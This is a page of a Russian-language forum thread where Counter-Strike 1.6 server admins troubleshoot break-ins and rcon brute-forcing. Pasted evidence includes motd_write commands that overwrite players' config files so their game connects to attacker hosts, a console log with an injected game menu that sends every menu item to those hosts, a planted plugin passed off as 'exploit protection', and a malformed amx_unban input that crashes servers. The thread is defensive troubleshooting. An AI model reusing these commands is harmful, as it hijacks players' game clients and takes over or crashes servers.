Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
Добавлена поддержка utf8mb4
24-апр
Telegram группа
10-апр
Обновление PHP
11-апр
Раздача читов

> Важная информация

Перед тем как создать тему или задать вопрос, ознакомьтесь с данной темой, там собраны наиболее распространенные уязвимости и способы устранения.
Так же не поленитесь воспользоваться поиском, вполне возможно, что ваш вопрос уже поднимался на форуме.
При создании новой темы уделите внимание ее названию, оно должно кратко описывать суть вашего вопроса/проблемы. Все вновь созданные темы с названиями "Помогите", "Объясните", "Подскажите" и т.д. будут удалены, а их авторы наказаны.
413 страниц V  « 74 75 76 ... 411 412 »

Защита Counter Strike Сервера

, Методы защиты от различных уязвимостей игровых серверов
exec1337
сообщение 4.9.2013, 20:31
Сообщение #1481
Стаж: 13 лет

Сообщений: 6490
Благодарностей: 2558
Полезность: 491

Pro(X-Gamer)Pro,врятли. Везде пишут,мол ПАМАГИТЕ!
У вас есть любой стабильный билд(не последний даже)?

!
Предупреждение:
Ваши 20%
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Vitaliy
сообщение 4.9.2013, 20:54
Сообщение #1482


Стаж: 14 лет

Сообщений: 2431
Благодарностей: 526
Полезность: 609

Меценат Меценат
exec1337,
Последний билд сутки не падает, но без людей, кому интересно дам айпи заходите пробуйте бегайте, проверим аптайм)
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
exec1337
сообщение 4.9.2013, 22:04
Сообщение #1483
Стаж: 13 лет

Сообщений: 6490
Благодарностей: 2558
Полезность: 491

Pro(X-Gamer)Pro,тест без людей-это не тест. Никто даже плагины не вызывает,а не говоря уже об атаках.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Dreandy
сообщение 8.9.2013, 6:24
Сообщение #1484
Стаж: 13 лет

Сообщений: 1394
Благодарностей: 231
Полезность: 37

Какая защита от HLBrute?


критика - это лучший способ изменить человека
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Igorexachita
сообщение 11.9.2013, 12:04
Сообщение #1485
Стаж: 12 лет

Сообщений: 2
Благодарностей: 1
Полезность: 0

Пропиши в sererv.cfg
sv_rcon_banpenalty - количество в минутах блокирования доступа к серверу при неправильном определенном количестве попыток ввода ркон пароля
sv_rcon_maxfailures - максимальное количество неправильно введенного rcоn_password-а (затем BAN)
sv_rcon_minfailures - минимальное количество неправильно введенного rcоn_password-а (затем BAN)
sv_rcon_minfailuretime - время, после которого счетчик (sv_rcon_maxfailures) сбрасывается

Воспользуйся, первой страничкой https://c-s.net.ua/forum/topic37395.html . :D
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя hacker63
сообщение 19.9.2013, 19:46
Сообщение #1486


Стаж: 13 лет

Сообщений: 368
Благодарностей: 42
Полезность: < 0

У игроков такая шляпа:
Скрытый текст
. Motdfile "autoexec.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "userconfig.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "joystick.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "language.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "config.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "server.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "listenserver.CFG"

. Motd_write Connect kiss.servehalflife.com:33445

. Motdfile "(null).CFG"

. Motd_write


Подскажите, где дыра? Все модули защиты установлены. Но в последий момент мой сервер поимели по пункту:
Уязвимость "появляются конфиги :D"(Подробнее)
Последствия: На сервере ставят rcon, отключают плагины - творят что хотят
Решение: Патченная библиотека от Crock-а, архив upfile в аттаче - надо переименовать и заменить вашу.
Решение-костыль: Плагин на орфее отсюда
Если вас уже поимели, то не забудьте удалить лишние конфиги addons/metamod/exec.cfg amxmodx/configs/maps/*.cfg


Затем я все установил, а теперь открывается такая вот проблема. Где я не доглядел и не удалил дырявые, добавленные плагины?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя mazdan
сообщение 19.9.2013, 19:51
Сообщение #1487


Иконка группы

Стаж: 15 лет

Сообщений: 7566
Благодарностей: 5437
Полезность: 1305

hacker63, откуда мы можем знать какие плагины вы не удалили?
Удалите все и поставьте снова.


Не пишите мне в ЛС. Пишите на почту. В ЛС я пропускаю сообщения.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя hacker63
сообщение 19.9.2013, 19:53
Сообщение #1488


Стаж: 13 лет

Сообщений: 368
Благодарностей: 42
Полезность: < 0

Цитата(mazdan @ 19.9.2013, 20:51) *
hacker63, откуда мы можем знать какие плагины вы не удалили?
Удалите все и поставьте снова.

В plugins.ini я пробувал отключаь все абсолютно кроме твоих плагинов.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя gudaus
сообщение 19.9.2013, 20:13
Сообщение #1489


Стаж: 14 лет

Сообщений: 1571
Благодарностей: 1211
Полезность: 741

Плагин можно прописать абсолютно где угодно. Вовсе не обязательно делать это в plugins.ini.
Человек с ником хакер должен знать такие вещи)
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя hacker63
сообщение 19.9.2013, 20:16
Сообщение #1490


Стаж: 13 лет

Сообщений: 368
Благодарностей: 42
Полезность: < 0

Спасибо, капитан =)
Я хотел услышать совет где искать его конкретно. Перебирать все директории весьма трудоемко.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя mazdan
сообщение 19.9.2013, 20:18
Сообщение #1491


Иконка группы

Стаж: 15 лет

Сообщений: 7566
Благодарностей: 5437
Полезность: 1305

hacker63, может плагины уже не мои, по датам смотрите на файлы. Или вообще переустановите сервер - проще будет.


Не пишите мне в ЛС. Пишите на почту. В ЛС я пропускаю сообщения.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя IOzer
сообщение 21.9.2013, 17:38
Сообщение #1492


Стаж: 17 лет

Сообщений: 38
Благодарностей: 2
Полезность: 43

в папке /cstrike/addons/amxmodx/configs найдены файлы такие как plugins-protect.ini plugins-amx.ini plugins-dproto.ini plugins-engine.ini с таким содержимым:

botsstopv1.amxx
//don't delete this file, this is exploit protection !!!!

соответственно и плагин такой появился..
заметил только сегодня когда при попытке зайти в кс автоматом идёт подключение к левому серверу

Скрытый текст
NET Ports: server 27015, client 27005
Server IP address 192.168.1.43:27015
Connecting to reboot.securitytactics.com:33440...
Connection accepted by 91.228.197.152:33440
Server tried to send invalid command:"motd_write "GameMenu" { "1" { "label" "BEST SERVER" "command" "engine connect reboot.securitytactics.com:33440" } "2" { "label" "JOIN US" "command" "engine connect reboot.securitytactics.com:33440" } "3" { "label" "" "command" "" "OnlyInGame" "1" } "5" { "label" "Resume game" "command" "ResumeGame" "OnlyInGame" "1" } "6" { "label" "Disconnect" "command" "Disconnect" "OnlyInGame" "1" } "7" { "label" "New game" "command" "engine connect reboot.securitytactics.com:33440" } "8" { "label" "Find servers" "command" "engine connect reboot.securitytactics.com:33440" } "9" { "label" "Find online servers" "command" "engine connect reboot.securitytactics.com:33440" } "10" { "label" "Options" "command" "OpenOptionsDialog" } "11" { "label" "Quit" "command" "Quit" } }
"Connecting to 5.255.68.107:27870...
Connection accepted by 5.255.68.107:27870
Server tried to send invalid command:"motd_write "GameMenu" { "1" { "label" "BEST SERVER" "command" "engine connect retry.ciscofreak.com:33439" } "2" { "label" "JOIN US" "command" "engine connect retry.ciscofreak.com:33439" } "3" { "label" "" "command" "" "OnlyInGame" "1" } "5" { "label" "Resume game" "command" "ResumeGame" "OnlyInGame" "1" } "6" { "label" "Disconnect" "command" "Disconnect" "OnlyInGame" "1" } "7" { "label" "New game" "command" "engine connect retry.ciscofreak.com:33439" } "8" { "label" "Find servers" "command" "engine connect retry.ciscofreak.com:33439" } "9" { "label" "Find online servers" "command" "engine connect retry.ciscofreak.com:33439" } "10" { "label" "Options" "command" "OpenOptionsDialog" } "11" { "label" "Quit" "command" "Quit" } }
"Connecting to 89.44.246.212:27015...
Connection accepted by 89.44.246.212:27015


никто не вкурсе что за дрянь?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Legenda
сообщение 21.9.2013, 17:45
Сообщение #1493


Иконка группы

Стаж: 16 лет

Сообщений: 3619
Благодарностей: 1706
Полезность: 1010

Меценат Меценат
Цитата(IOzer @ 21.9.2013, 19:38) *
в папке /cstrike/addons/amxmodx/configs найдены файлы такие как plugins-protect.ini plugins-amx.ini plugins-dproto.ini plugins-engine.ini с таким содержимым:

botsstopv1.amxx
//don't delete this file, this is exploit protection !!!!

соответственно и плагин такой появился..
заметил только сегодня когда при попытке зайти в кс автоматом идёт подключение к левому серверу

Скрытый текст
NET Ports: server 27015, client 27005
Server IP address 192.168.1.43:27015
Connecting to reboot.securitytactics.com:33440...
Connection accepted by 91.228.197.152:33440
Server tried to send invalid command:"motd_write "GameMenu" { "1" { "label" "BEST SERVER" "command" "engine connect reboot.securitytactics.com:33440" } "2" { "label" "JOIN US" "command" "engine connect reboot.securitytactics.com:33440" } "3" { "label" "" "command" "" "OnlyInGame" "1" } "5" { "label" "Resume game" "command" "ResumeGame" "OnlyInGame" "1" } "6" { "label" "Disconnect" "command" "Disconnect" "OnlyInGame" "1" } "7" { "label" "New game" "command" "engine connect reboot.securitytactics.com:33440" } "8" { "label" "Find servers" "command" "engine connect reboot.securitytactics.com:33440" } "9" { "label" "Find online servers" "command" "engine connect reboot.securitytactics.com:33440" } "10" { "label" "Options" "command" "OpenOptionsDialog" } "11" { "label" "Quit" "command" "Quit" } }
"Connecting to 5.255.68.107:27870...
Connection accepted by 5.255.68.107:27870
Server tried to send invalid command:"motd_write "GameMenu" { "1" { "label" "BEST SERVER" "command" "engine connect retry.ciscofreak.com:33439" } "2" { "label" "JOIN US" "command" "engine connect retry.ciscofreak.com:33439" } "3" { "label" "" "command" "" "OnlyInGame" "1" } "5" { "label" "Resume game" "command" "ResumeGame" "OnlyInGame" "1" } "6" { "label" "Disconnect" "command" "Disconnect" "OnlyInGame" "1" } "7" { "label" "New game" "command" "engine connect retry.ciscofreak.com:33439" } "8" { "label" "Find servers" "command" "engine connect retry.ciscofreak.com:33439" } "9" { "label" "Find online servers" "command" "engine connect retry.ciscofreak.com:33439" } "10" { "label" "Options" "command" "OpenOptionsDialog" } "11" { "label" "Quit" "command" "Quit" } }
"Connecting to 89.44.246.212:27015...
Connection accepted by 89.44.246.212:27015


никто не вкурсе что за дрянь?

очевидно стоит прочитать первый пост темы
Код
Уязвимость "появляются конфиги :D"
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя IOzer
сообщение 21.9.2013, 18:07
Сообщение #1494


Стаж: 17 лет

Сообщений: 38
Благодарностей: 2
Полезность: 43

Цитата(Legenda @ 21.9.2013, 17:45) *
очевидно стоит прочитать первый пост темы
Код
Уязвимость "появляются конфиги :D"


да возможно из за этого так как переносил серв на хостинг.. думал там уже engine_i686.so идёт правленный
попробую заменить
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя westcall
сообщение 22.9.2013, 10:16
Сообщение #1495


Стаж: 13 лет

Сообщений: 270
Благодарностей: 48
Полезность: 156

Цитата(Dreandy @ 8.9.2013, 8:24) *
Какая защита от HLBrute?



Не пользуйся rcon паролем...ну или поставь типа "sf3MdjK84xT"
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя w0nd3r
сообщение 22.9.2013, 12:40
Сообщение #1496


Стаж: 13 лет
Город: US

Сообщений: 1368
Благодарностей: 490
Полезность: 518

westcall, Такие пароли тоже легко брутят, хоть это и займет больше времени.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя westcall
сообщение 23.9.2013, 6:28
Сообщение #1497


Стаж: 13 лет

Сообщений: 270
Благодарностей: 48
Полезность: 156

Цитата(w0nd3r @ 22.9.2013, 14:40) *
westcall, Такие пароли тоже легко брутят, хоть это и займет больше времени.


На сколько я знаю, брут подбирает пароли из своего списка указанного в тхт файле..да даже если он генерирует их сам и в режиме реального времени, на подбор уйдет не один год..
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя coolman
сообщение 23.9.2013, 8:41
Сообщение #1498


Стаж: 19 лет
Город: Екатеринбург

Сообщений: 1220
Благодарностей: 218
Полезность: 149

Лично мое мнение, подбор паролей глупость, ниразу не подобрали и не подберут!
Проще уязвимость использовать или плагин админу с черным ходом подсунуть, но таких админов тоже врятли сейчас можно найти.

Отредактировал: coolman, - 23.9.2013, 8:41
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя ETO_BYLO_LETOM
сообщение 23.9.2013, 9:58
Сообщение #1499


Иконка группы

Стаж: 14 лет
Город: Краснодар

Сообщений: 3393
Благодарностей: 4387
Полезность: 805

Скажите спасибо что ваш сервер взломали румыны.
Вы отделались лишь редирктом на их сервера и не более.
А если бы это были русские конторы с заменами?)
Я боюсь выбы всех игроков потеряли раз и на всегда.


😄
MasterServer.su прозрачнее чем твои окна дома
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
exec1337
сообщение 23.9.2013, 16:47
Сообщение #1500
Стаж: 13 лет

Сообщений: 6490
Благодарностей: 2558
Полезность: 491

Если отправить на сервер через консоль пустую переменную,то серверу будет очень плохо с ошибкой:


Например:
Код
amx_unban "


Конкретно что говорится в ошибке?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
« Предыдущая тема · Защита Игрового сервера · Следующая тема »
 
413 страниц V  « 74 75 76 ... 411 412 »
 		 Ответить в данную темуНачать новую тему
 
0 пользователей и 3 гостей читают эту тему:
Режим отображения: Стандартный · Переключить на: Линейный · Переключить на: Древовидный
Сообщить другу · Версия для печати

Powered By Invision Power Board  © 2005-2026 
Counter Strike Support Community